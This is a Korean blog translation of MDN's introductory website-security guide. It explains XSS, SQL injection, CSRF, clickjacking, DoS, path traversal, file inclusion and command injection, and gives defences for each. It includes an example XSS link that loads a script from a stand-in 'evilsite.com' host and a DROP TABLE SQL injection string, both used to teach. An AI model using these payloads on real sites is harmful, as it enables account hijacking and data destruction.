• TOC {:toc}

이 글은 MDN Learn web development의 Server-side website programming first stepsWebsite security의 내용을 번역 및 정리한 글입니다.

  • 제가 필요한 부분 위주로 확인하면서 정리하고 있어 글에 덜 작성된 부분이 있을 수 있습니다.
  • 글 작성 후 원문의 내용이 수정되거나 내용을 이해하기 위한 개인적인 설명이나 해석이 있을 수 있습니다. 되도록 원문을 참고해주시길 바랍니다.
  • 잘못된 부분이 있다면 댓글이나 그 외 편하신 방법으로 알려주시면 감사하겠습니다.

웹 사이트 보안이란 (What is website security?)

인터넷은 위험한 곳이다. 주기적으로 서비스 거부 공격(denial of service attacks)으로 웹 사이트를 사용할 수 없거나 홈페이지에 변경(혹은 종종 손상)된 정보들이 게시된다는 소식들을 들을 수 있다. 또 다른 유명한 사례로는 수백만 개의 비밀번호, 이메일 주소, 신용카드 정보가 공공 도메인으로 유출되어 웹 사이트 이용자들을 개인적인 당혹감과 재정적 위험에 드러내는 경우도 있다.

웹 사이트 보안의 목적은 이런 (혹은 임의의) 공격을 방지하는 것이다. 더 형식적으로 정의하면 웹 보안은 승인되지 않은 접근, 사용, 수정, 파괴, 방해로부터 웹 사이트를 보호하는 모든 행동/실천을 말한다.

효과적인 웹 사이트 보안을 위해서는 웹 사이트를 설계하는 과정 전체에서 노력해야 하지만,

  • 다행스럽게도 서버 측 웹 프레임워크는 “기본적으로” 일반적인 공격을 막을 수 있는 견고하고 잘 검증된 방어 메커니즘을 제공한다.
  • 다른 공격은 HTTPS를 활성화하는 등의 웹 서버 설정을 통해 방지할 수 있다.
  • 마지막으로 공개적으로 제공되는 취약점 스캐너 도구로 명백한 (보안) 실수가 있는지 확인할 수도 있다.

이 글의 나머지는 몇 가지 일반적인 보안 위협과 사이트를 보호하기 위해 할 수 있는 간단한 단계에 대해 자세히 설명한다.

Note: 이 글은 입문자를 위한 주제로 웹 사이트 보안을 처음 접하는 이들을 돕기 위해 작성되었지만, 완전하지 않다는 것에 유의하자.

웹 사이트 보안 위협 (Website security threats)

이 부분은 가장 일반적인 웹 사이트 위협과 이를 완화하는 방법을 나열한다. 글을 읽으면서, 웹 애플리케이션이 브라우저로부터 오는 데이터를 있는 그대로 믿거나 충분히 의심하지(paranoid) 않을 때, 보안 위협이 어떻게 성공적으로 사이트를 해칠 수 있는지 확인하자.

사이트 간 스크립팅 (Cross-Site Scripting, XSS)

XSS는 공격자가 클라이언트 측 스크립트를 다른 사용자의 브라우저에 웹 사이트를 통해 삽입하는 종류의 공격이다.

삽입되는 코드는 웹 사이트에서 (피해 사용자의) 브라우저로 전송되기 때문에 의심받지 않으며(trusted) 사용자의 사이트 인증 쿠키를 공격자에게 보내는 것과 같은 작업을 할 수 있다. 공격자가 쿠키를 가지면 마치 (피해) 사용자인 것처럼 사이트에 로그인하고 신용 카드 세부 정보에 접근하거나, 연락처의 세부 정보를 확인하거나, 비밀번호를 변경하는 등의 사용자가 할 수 있는 모든 작업을 할 수 있다.

XSS 취약점은 사이트가 삽입된 스크립트를 브라우저에 반환하는 방식에 따라 반사형(reflected)지속형(persistent) 으로 나뉜다.

반사형 XSS 취약점 (reflected XSS vulnerability)

반사형 XSS 취약점은 서버에 전달된 사용자 콘텐츠가 즉시 반환되어, 수정되지 않은 상태로 브라우저에 표시될 때 발생한다. 새로운 페이지가 로드되면 기존 사용자 콘텐츠 안의 모든 스크립트가 (어떤 것이더라도) 실행된다.

예를 들어, 검색하는 단어가 URL 매개 변수로 인코딩되어 결과와 함께 표시되는 사이트 검색 함수를 생각해보자.

  • 공격자는 악성 스크립트를 매개 변수로 포함하는 검색 링크(e.g. http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script>)를 만들어 이를 다른 사용자에게 메일로 보낼 수 있다.
  • 만약 다른 목표 사용자가 이 “흥미로운 링크”를 클릭하면 검색 결과가 표시될 때 스크립트가 실행된다.
  • 앞서 말한 것처럼, 위의 행동은 목표 사용자인 척 사이트에 접속(enter)하는데 필요한 모든 정보를 공격자에게 제공하고 잠재적으로는 해당 사용자로서 물건을 구매하거나 연락처 정보를 공유할 수도 있다.

지속형 XSS 취약점 (persistent XSS vulnerability)

지속형 XSS 취약점은 웹 사이트 안에 악성 스크립트가 저장되어 이후에 다른 사용자가 자신도 모르게 스크립트를 실행하도록 수정되지 않은 상태로 다시 표시된다.

예를 들어,

  • 수정되지 않은 HTML을 포함하는 댓글(comments)을 받아들이는 토론 게시판은 공격자의 악성 스크립트도 저장할 수 있다.
  • 댓글이 게시되면 스크립트가 실행되고 공격자에게 사용자의 계정에 접근하는데 필요한 정보를 보낼 수 있다.

이런 종류의 공격은 공격자가 피해자들과 직접적인 연관 자체가 없어서 매우 흔하고(popular) 강력하다.

POSTGET 요청의 데이터가 XSS 취약점의 가장 흔한 소스이기 때문에 브라우저에서 렌더링 되는 쿠키 데이터나 업로드되어 표시되는 사용자 파일 등 브라우저로부터 오는 정보는 어떤 것이든 잠재적으로 취약하다.

XSS 취약점을 가장 효과적(best)으로 막을 방법은 코드를 실행하는 명령을 잠재적으로 포함할 수 있는 마크업을 제거하거나 비활성화하는 것이다.

  • HTML의 경우 <script>, <object>, <embed>, <link> 등과 같은 요소가 해당한다.

스크립트를 실행하는 데 사용하거나 서버 코드의 실행에 영향을 주지 못하게 사용자의 데이터를 수정하는 과정을 입력 검사(input sanitization, 의역)라고 한다. 많은 웹 프레임워크는 기본적으로 HTML 양식의 사용자 입력을 자동으로 검사(sanitize)한다.

SQL 삽입 (SQL injection)

SQL 삽입 취약점은 악성 사용자가 데이터베이스에서 임의의 SQL 코드를 실행하고 사용자의 허가 없이 데이터에 접근해 이를 수정, 삭제할 수 있도록 한다.

공격에 성공하면 공격자는 아이디를 스푸핑(spoof) 하거나, 관리자 권한으로 새로운 아이디를 만들거나, 서버의 모든 데이터에 접근하거나 모든 데이터를 파괴/수정해 사용하지 못하게 할 수 있다.

SQL 삽입의 유형에는

  • 오류 기반 SQL 삽입 (Error-based SQL injection)
  • 부울 오류 기반 SQL 삽입 (SQL injection based on boolean errors)
  • 시간 기반 SQL 삽입 (Time-based SQL injection) 이 있다(모두 의역).

이런 취약점은 기존 SQL 문(statement)에 전달된 사용자 입력이 문의 의미를 바꿀 수 있을 때 발생한다.

예를 들어, 아래의 코드는 HTML 양식에서 제공된 특정 이름(userName)으로 모든 사용자를 나열하기 위한 것이다.

statement = "SELECT * FROM users WHERE name = '" + userName + "';"

사용자가 실제 이름을 지정하면 문은 의도된 대로 실행된다. 그러나 악성 사용자는 userName에 굵게 텍스트를 지정해 이 SQL 문의 동작을 다음 예시의 새로운 문으로 완전히 바꿀 수 있다.

SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';
  • 위의 수정된 문은 users 표(table)를 삭제하고 모든 데이터를 userinfo 표(모든 사용자의 정보를 보여준다)에서 선택하는 유효한 SQL 문을 만든다.
  • 이는 삽입된 문장의 처음 부분 (a';)이 기존의 문을 끝내기(complete) 때문에 작동한다.

이런 종류의 공격을 피하기 위해서는, SQL 쿼리로 전달된 사용자 데이터가 쿼리의 본질(nature)을 바꾸지 않도록 확인해야 한다. 이를 위한 한 가지 방법은 사용자 입력에서 SQL에서 특별한 의미가 있는 모든 문자를 이스케이프(escape) 하는 것이다.

Note: SQL 문은 ’ 문자를 문자열 리터럴의 시작과 끝으로 본다. 이 문자 앞에 역슬래시를 놓으면 (\’) 그 기호를 이스케이프(escape) 해 SQL이 이를 문자로 (그냥 문자열의 일부로) 여기도록 할 수 있다.

다음의 문은 ’ 문자를 이스케이프 시킨다. 이제 SQL은 이름을 굵은 글씨로 된 전체 문자열로 해석할 것이다 (굉장히 이상한 이름이지만 해롭지는 않다).

SELECT * FROM users WHERE name = 'a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t';

웹 프레임워크는 종종 문자 이스케이프를 관리한다. 예를 들어 Django 는 쿼리집합(querysets, model queries)으로 전달되는 어떤 사용자-데이터든 이스케이프 되어 있는지 확인한다.

사이트 간 요청 위조 (Cross-Site Request Forgery, CSRF)

CSRF 공격은 악성 사용자가 다른 사용자의 인식(knowledge)이나 동의 없이 해당 사용자의 자격 증명(credential)을 이용해 작업을 실행할 수 있다.

이런 종류의 공격은 예시를 들어 가장 잘 설명할 수 있다.

  • John은 특정 사이트에서 로그인한 사용자가 계좌 이름과 금액을 포함하는 HTTP POST 요청을 이용해 지정된 계정으로 돈을 보낼 수 있다는 것을 아는 악성 사용자이다.
  • John은 그의 은행 세부정보와 금액을 포함하는 숨겨진 필드를 포함하는 양식을 만들어 (“Get Rich Quick” 사이트로 연결되는 링크로 위장한 제출 버튼과 함께) 사이트의 다른 사용자에게 메일로 보낸다.
  • 만약 사용자가 제출 버튼을 누르면, 거래(transaction) 세부 정보와 브라우저를 사이트와 연결하는 모든 클라이언트 측 쿠키를 포함한 HTTP POST 요청이 서버로 보내진다.
    • 브라우저는 일반적으로 관련된 사이트의 쿠키를 요청에 추가한다.
  • 서버는 쿠키를 확인하고 사용자가 로그인 한 상태인지 판단하고 거래를 권한이 있는를 결정하기 위해 이를 사용한다.
  • 그 결과로 거래 사이트에 로그인한 상태로 제출 버튼을 클릭한 모든 사용자는 거래하게 되고 John은 부자가 된다.

Note: 핵심(trick)은 John이 사용자의 쿠키(또는 자격 증명)에 접근할 필요가 없다는 것이다. 사용자의 브라우저는 이 정보를 저장하고 서버와 관련된 모든 요청에 자동으로 포함한다.

이런 유형의 공격을 막기 위한 한 가지 방법은 서버가 POST 요청에 사용자별 사이트 생성 암호를 포함하도록 요구하는 것이다.

  • 전송에 사용되는 웹 양식을 보낼 때 서버에서 암호(secret)를 제공한다.
  • 이런 방법을 사용하면 John이 서버가 사용자에게 제공하는 암호를 알아야 하므로 John이 자신의 양식을 만들지 못하도록 막을 수 있다.
  • 그가 암호를 알아내고 특정 사용자를 대상으로 양식을 만들더라도 동일한 양식을 다른 사용자를 공격하기 위해 사용하지 못한다.

웹 프레임워크는 종종 이런 CSRF 방지 메커니즘을 포함한다.

그 외의 위협들 (Other threats)

다른 일반적인 공격/취약점에는 다음과 같은 것들이 있다.

Clickjacking

이 공격 방법에서는 악성 사용자가 사용자에게 보이는 최상위 사이트의 클릭을 가로채(hijack) 그 아래 숨겨진 페이지로 라우팅한다.

  • 예를 들어, 이 기술은 적법한 은행 사이트를 보여주지만 로그인 자격 증명을 공격자가 관리하는 보이지 않는 <iframe>로 가져(capture)갈 수 있다.
  • Clickjacking 사용자가 눈에 보이는 사이트의 버튼을 클릭하는 것처럼 보이지만 실제로는 알아채지 못하게 완전히 다른 버튼을 누르도록 할 수도 있다.

이를 방지하는 방법으로 적절한 HTTP 헤더를 설정하면 사이트에 다른 사이트의 iframe을 넣지 못하게 할 수 있다.

Denial of Service (DoS)

DoS는 일반적으로 대상 사이트에 가짜 요청을 남용(flooding)해 합법적인 사용자의 사이트 접속을 방해함으로써 달성된다.

  • 요청의 수가 많거나 개별적으로 많은 양의 리소스를 소비(e.g. 큰 파일의 느린 읽기 또는 업로드)할 수 있다.

DoS에 대한 방어는 주로 적법한 메시지는 통과시키면서 “나쁜” 트래픽을 식별해(identify) 막는 방식으로 작동한다. 이런 방어는 주로 웹 서버 안이나 그 앞에 위치한다 (웹 애플리케이션 자체의 일부가 아니다).

Directory Traversal (File and disclosure)

이 공격에서는 사용자가 접근해서는 안 되는 웹 서버 파일 시스템의 일부에 접근을 시도한다. 이런 취약점은 사용자가 파일 시스템 탐색 문자(예를 들어, ../../)를 포함하는 파일 이름을 전달할 수 있을 때 발생한다.

해결 방법은 이를 사용하기 전에 검사(sanitize)하는 것이다.

File Inclusion

이 공격에서는 사용자가 서버로 전달되는 데이터 안에서 “의도되지 않은” 파일을 표시하거나 실행시킬 수 있다. 이 파일을 불러오면 웹 서버나 클라이언트 측에서 실행(XSS 공격으로 이어진다)될 수 있다.

해결 방법은 입력을 사용하기 전에 검사(sanitize)하는 것이다.

Command Injection

명령어 삽입 공격은 악성 유저가 임의의 시스템 명령을 호스트 운영 체제에서 실행할 수 있도록 한다.

해결 방법은 사용자 입력이 시스템 호출에서 사용되기 전에 이를 검사하는 것이다.

더 많은(comprehensive) 웹 사이트 보안 위협의 목록을 보려면 Category: Web security exploits (Wikipedia) 나 Category: Attack (Open Web Application Security Project)를 참고하자.

몇 가지 주요 안내 (A few key messages)

이전 섹션에서 다룬 대부분의 보안 공격(exploit)은 웹 애플리케이션이 브라우저의 데이터를 신뢰할 때 성공한다.

자신의 웹 사이트의 보안을 강화하기 위해서는 사용자에게서 오는 모든 데이터가 브라우저에 표시되고, SQL 쿼리에 사용되고, 운영 체제나 파일 시스템 호출로 전달되기 전에 이를 검사해야 한다.

Warning: 웹 보안에 대해서 배울 수 있는 가장 중요한 교훈은 절대로 브라우저의 데이터를 믿지 말라는 것이다. 이는 GET 요청의 URL 매개 변수, POST 요청, HTTP 헤더와 쿠키, 사용자가 업로드한 파일을 포함하지만, 이것에만 국한되는 것은 아니다. 항상 최악을 가정하고 입력되는 데이터를 검사해야 한다.

다음으로 배울 수 있는 구체적인 단계는 다음과 같다:

  • 가장 효율적인 암호 관리 방법을 사용하자.
    • 강력한 암호를 장려하자.
    • 사용자가 암호 외에 다른 인증 코드를 입력해야 할 수 있도록 사이트에서 2단계 인증을 사용하는 것을 고려하자.
      • 일반적으로 휴대폰으로 전송되는 SMS의 코드와 같이 사용자만 가질 수 있는 물리적인 하드웨어를 통해 전송한다.
  • 웹 서버가 HTTPS나 HTTP Strict Transport Security (HSTS)를 사용하도록 설정하자.
    • HTTPS는 클라이언트와 서버 사이의 데이터를 암호화한다.
    • 이는 공격자가 로그인 자격 증명, 쿠키, POST 요청 데이터, 헤더 정보를 쉽게 사용하지 못하도록 한다.
  • 가장 많이 쓰이는 위협들(현재 OWASP 목록)에 관심을 두고 가장 일반적인 취약점을 먼저 해결(address)하자.
  • 취약점 스캐너 도구를 사용해 자동으로 사이트의 보안 테스트 수행하자. 나중에, 굉장히 성공적인 웹 사이트가 되면 Mozilla가 여기서 하는 것처럼 버그 현상금을 제공해서 버그를 발견할 수도 있다.
  • 필요한 데이터만 저장하고 표시하자.
    • 예를 들어, 사용자가 신용 카드 세부 정보 같은 민감한 정보를 저장해야 한다면, 사용자는 식별하기에 충분하면서 공격자가 이를 복사해서 다른 사이트에서 사용하지는 못할 정도로만 표시하자. 요즘 가장 일반적인 방식은 신용 카드 번호의 마지막 네 자리 숫자만 표시하는 것이다.